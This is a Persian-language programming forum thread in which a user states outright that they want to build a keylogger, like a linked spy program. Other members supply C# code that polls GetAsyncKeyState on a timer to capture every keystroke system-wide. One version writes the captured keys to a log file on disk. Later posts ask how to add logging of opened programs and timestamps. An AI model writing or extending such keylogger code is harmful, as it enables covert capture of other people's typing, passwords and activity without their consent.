نمایش نتایج 1 تا 17 از 17

نام تاپیک: تشخیص فشرده شدن کلیدهای کیبرد

  1. #1
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    Question تشخیص فشرده شدن کلیدهای کیبرد

    چگونه می توان کلیدهای کیبرد را حتی وقتی فوکوس روی برنامه ما نیست تشخیص داد مانند دیکشنری ها که مثلاً با CTRL+F12 فعال می شوند و یا Keylogger ها که کلیدهای فشرده شده را ثبت می کنند .

    دقیقا من می خواهم یک Keylogger بسازم . لطفاً راهنمایی فرمایید .

  2. #2

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    با سلام خدمت شما

    با اینجــــــــــــا مراجعه نمائید

    موفق باشین
    بایت بایت

  3. #3
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط Youuness مشاهده تاپیک
    با سلام خدمت شما

    با اینجــــــــــــا مراجعه نمائید

    موفق باشین
    بایت بایت
    اینو دانلود کردم . ولی زمانی کار می کنه که برنامه روش فوکوس شده باشه . ولی اگه روی دسکتاپ به عنوان پیشفرض کلیک کنم که از فوکوس برنامه در بیاد . دیگه کار نمی کنه .

  4. #4

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    با سلام مجدد خدمت شما

    میتونین از توابع API استفاده کنین تابع API برای استفاده شما GetAsyncKeyState در کتابخانه user32 میباشد.

    به اینــــــــــجا , اینجـــــــا و اینجــــــــا نیز یه سری بزنین


    موفق باشین
    بایت بایت

  5. #5
    کاربر دائمی آواتار alexmcse
    تاریخ عضویت
    فروردین 1391
    محل زندگی
    شیراز
    پست
    860

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    در رویدادهای کی پرس

    using System;
    using System.Windows.Forms;

    public class Form1: Form
    {
    public Form1()
    {
    // Create a TextBox control.
    TextBox tb = new TextBox();
    this.Controls.Add(tb);
    tb.KeyPress += new KeyPressEventHandler(keypressed);
    }

    private void keypressed(Object o, KeyPressEventArgs e)
    {
    // The keypressed method uses the KeyChar property to check
    // whether the ENTER key is pressed.

    // If the ENTER key is pressed, the Handled property is set to true,
    // to indicate the event is handled.
    if (e.KeyChar == (char)Keys.Return)
    {
    e.Handled = true;
    }
    }

    public static void Main()
    {
    Application.Run(new Form1());
    }
    }


    // Boolean flag used to determine when a character other than a number is entered.
    private bool nonNumberEntered = false;

    // Handle the KeyDown event to determine the type of character entered into the control.
    private void textBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
    {
    // Initialize the flag to false.
    nonNumberEntered = false;

    // Determine whether the keystroke is a number from the top of the keyboard.
    if (e.KeyCode < Keys.D0 || e.KeyCode > Keys.D9)
    {
    // Determine whether the keystroke is a number from the keypad.
    if (e.KeyCode < Keys.NumPad0 || e.KeyCode > Keys.NumPad9)
    {
    // Determine whether the keystroke is a backspace.
    if(e.KeyCode != Keys.Back)
    {
    // A non-numerical keystroke was pressed.
    // Set the flag to true and evaluate in KeyPress event.
    nonNumberEntered = true;
    }
    }
    }
    }

    // This event occurs after the KeyDown event and can be used to prevent
    // characters from entering the control.
    private void textBox1_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
    {
    // Check for the flag being set in the KeyDown event.
    if (nonNumberEntered == true)
    {
    // Stop the character from being entered into the control since it is non-numerical.
    e.Handled = true;
    }
    }

    کی دون و کی آپ هم همینجور


  6. #6

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    با سلام مجدد

    alexmcse عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

    aradrobo عزیز کد مدنظر شما اینه :


    using System.Runtime.InteropServices;
    namespace GetKey
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);
    string keyBuffer = string.Empty;
    private void Form1_Load(object sender, EventArgs e)
    {
    timer1.Enabled = true;
    timer1.Interval = 3;
    }
    private void timer1_Tick(object sender, EventArgs e)
    {
    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue)) )
    {
    keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
    listBox1.Items.Clear();
    listBox1.Items.Add(keyBuffer.ToString());
    }
    }
    }
    }
    }



    حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

    موفق باشین
    بایت بایت

  7. #7
    کاربر دائمی آواتار arefba
    تاریخ عضویت
    فروردین 1388
    محل زندگی
    زیر لب تاپم
    سن
    33
    پست
    782

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    به جای تایمر از thread استفاده کنید لطفا

  8. #8
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط Youuness مشاهده تاپیک
    با سلام مجدد

    alexmcse عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

    aradrobo عزیز کد مدنظر شما اینه :


    using System.Runtime.InteropServices;
    namespace GetKey
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);
    string keyBuffer = string.Empty;
    private void Form1_Load(object sender, EventArgs e)
    {
    timer1.Enabled = true;
    timer1.Interval = 3;
    }
    private void timer1_Tick(object sender, EventArgs e)
    {
    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue)) )
    {
    keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
    listBox1.Items.Clear();
    listBox1.Items.Add(keyBuffer.ToString());
    }
    }
    }
    }
    }



    حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

    موفق باشین
    بایت بایت
    دقیقاً ههمینو می خواهم . ولی نمی خواهم درون لیست باکس نمایش دهد . می خواهم درون یک فایل تکست (txt) ذخیره شود . چه کنم ؟

  9. #9
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط arefba مشاهده تاپیک
    به جای تایمر از thread استفاده کنید لطفا
    چرا ؟ و چگونه ؟

  10. #10
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    دقیقا ً من می خواهم برنامه زیر را که لینک دانلودش را برایتان می فرستم را بسازم . لطفاً بیشتر به من کمک کنید .

    http://s1.picofile.com/file/7550151070/SpyEx.exe.html
    http://s1.picofile.com/file/7550151070/SpyEx.exe.html

  11. #11
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    لطفاً اگر در این زمینه کار کرده اید مرا راهنمایی کنید . با تشکر

  12. #12
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط Youuness مشاهده تاپیک
    با سلام مجدد

    alexmcse عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

    aradrobo عزیز کد مدنظر شما اینه :


    using System.Runtime.InteropServices;
    namespace GetKey
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);
    string keyBuffer = string.Empty;
    private void Form1_Load(object sender, EventArgs e)
    {
    timer1.Enabled = true;
    timer1.Interval = 3;
    }
    private void timer1_Tick(object sender, EventArgs e)
    {
    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue)) )
    {
    keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
    listBox1.Items.Clear();
    listBox1.Items.Add(keyBuffer.ToString());
    }
    }
    }
    }
    }



    حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

    موفق باشین
    بایت بایت

    این کدی که شما دادین ، دقیقاً اگر فوکوس روی فرم هم نباشه عمل می کنه . ولی یک مشکل داره و اون اینکه شما هر بار دارین لیست باکس رو پاک می کنین . اگر من این
    listBox1.Items.Clear();

    قسمت را حذف کنم . مشاهده می شه که وقتی یک حرف روی کیبرد را می زنم ، اون حرف چندین بار نمایش داده می شه .

    لطفاً این مشکل را حل کنید . با تشکر

  13. #13
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    برنامه رو به صورت زیر هم نوشتم . ولی باز مشکل دارد . خودتون ببینید :
            private void Form1_Load(object sender, EventArgs e)
    {
    timer1.Enabled = true;
    timer1.Interval = 30;
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue))
    {
    keyBuffer = Enum.GetName(typeof(Keys), i) + " ";

    File.AppendAllText(@"C:\\01.txt", keyBuffer.ToString() + "\n");

    // listBox1.Items.Clear();
    listBox1.Items.Add(keyBuffer.ToString());

    // تشخیص حجم فایل
    System.IO.FileInfo a = new System.IO.FileInfo(@"c:\01.txt");//a
    if (a.Length == 1000)//b
    {
    MessageBox.Show("1 kb");
    }
    }
    }
    }

  14. #14

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    با سلام مجدد


    using System.IO;
    namespace GetKey
    {
    public partial class Form1 : Form
    {

    public Form1()
    {
    InitializeComponent();
    }
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);

    string keyBuffer = string.Empty;

    private void Form1_Load(object sender, EventArgs e)
    {
    textBox1.Text = "";
    timer1.Interval = 500;
    }

    private void timer1_Tick(object sender, EventArgs e)
    {

    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue))
    {
    StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
    keyBuffer = Enum.GetName(typeof(Keys), i) ;
    textBox1.Text += keyBuffer;
    Keylogger.Write(keyBuffer);
    textBox1.SelectionStart = textBox1.TextLength;
    Keylogger.Close();
    }


    }
    }

    }
    }



    موفق باشین
    بایت بایت

  15. #15
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط Youuness مشاهده تاپیک
    با سلام مجدد


    using System.IO;
    namespace GetKey
    {
    public partial class Form1 : Form
    {

    public Form1()
    {
    InitializeComponent();
    }
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);

    string keyBuffer = string.Empty;

    private void Form1_Load(object sender, EventArgs e)
    {
    textBox1.Text = "";
    timer1.Interval = 500;
    }

    private void timer1_Tick(object sender, EventArgs e)
    {

    foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
    int x = GetAsyncKeyState(i);
    if ((x == 1) || (x == Int16.MinValue))
    {
    StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
    keyBuffer = Enum.GetName(typeof(Keys), i) ;
    textBox1.Text += keyBuffer;
    Keylogger.Write(keyBuffer);
    textBox1.SelectionStart = textBox1.TextLength;
    Keylogger.Close();
    }


    }
    }

    }
    }



    موفق باشین
    بایت بایت

    حالا نمیشه ، مثلاً راست کلیک یا چپ کلیک هایی که می کنیم رو چیزی ننویسه ؟
    یا اینکه وقتی برنامه ای رو باز می کنیم ، بگه چه برنامه ای باز میشه ؟
    ساعت و تاریخ بزنه و مثل یک گزارش کار به ما بگه ؟

  16. #16
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    Question نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    لطفاً اگر کسی هست که می تونه به من کمک کنه در این قسمت منو راهنمایی کنه . خیلی ممنون .

  17. #17
    کاربر دائمی آواتار aradrobo
    تاریخ عضویت
    تیر 1391
    محل زندگی
    ایران سرای من است
    پست
    569

    نقل قول: تشخیص فشرده شدن کلیدهای کیبرد

    نقل قول نوشته شده توسط aradrobo مشاهده تاپیک
    لطفاً اگر کسی هست که می تونه به من کمک کنه در این قسمت منو راهنمایی کنه . خیلی ممنون .
    یعنی هیچ کسی نمی تونه به سوالم جواب بده ؟

تاپیک های مشابه

  1. پاسخ: 3
    آخرین پست: دوشنبه 14 آذر 1390, 16:55 عصر
  2. تشخیص فشرده شدن کلیدهای کیبرد
    نوشته شده توسط saeed9982 در بخش برنامه نویسی در 6 VB
    پاسخ: 4
    آخرین پست: جمعه 06 اسفند 1389, 21:31 عصر
  3. تشخیص فشرده شدن کلیدهای کیبرد
    نوشته شده توسط saeed9982 در بخش برنامه نویسی در 6 VB
    پاسخ: 1
    آخرین پست: شنبه 27 مهر 1387, 16:54 عصر
  4. تشخیص فشرده شدن کلیدهای delete و در این رده
    نوشته شده توسط آیدا رضایی در بخش برنامه نویسی در Delphi
    پاسخ: 3
    آخرین پست: جمعه 05 اسفند 1384, 07:09 صبح
  5. تشخیص فشرده شدن کلید Tab
    نوشته شده توسط ALIreza_nil در بخش برنامه نویسی در Delphi
    پاسخ: 3
    آخرین پست: دوشنبه 04 آبان 1383, 17:56 عصر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •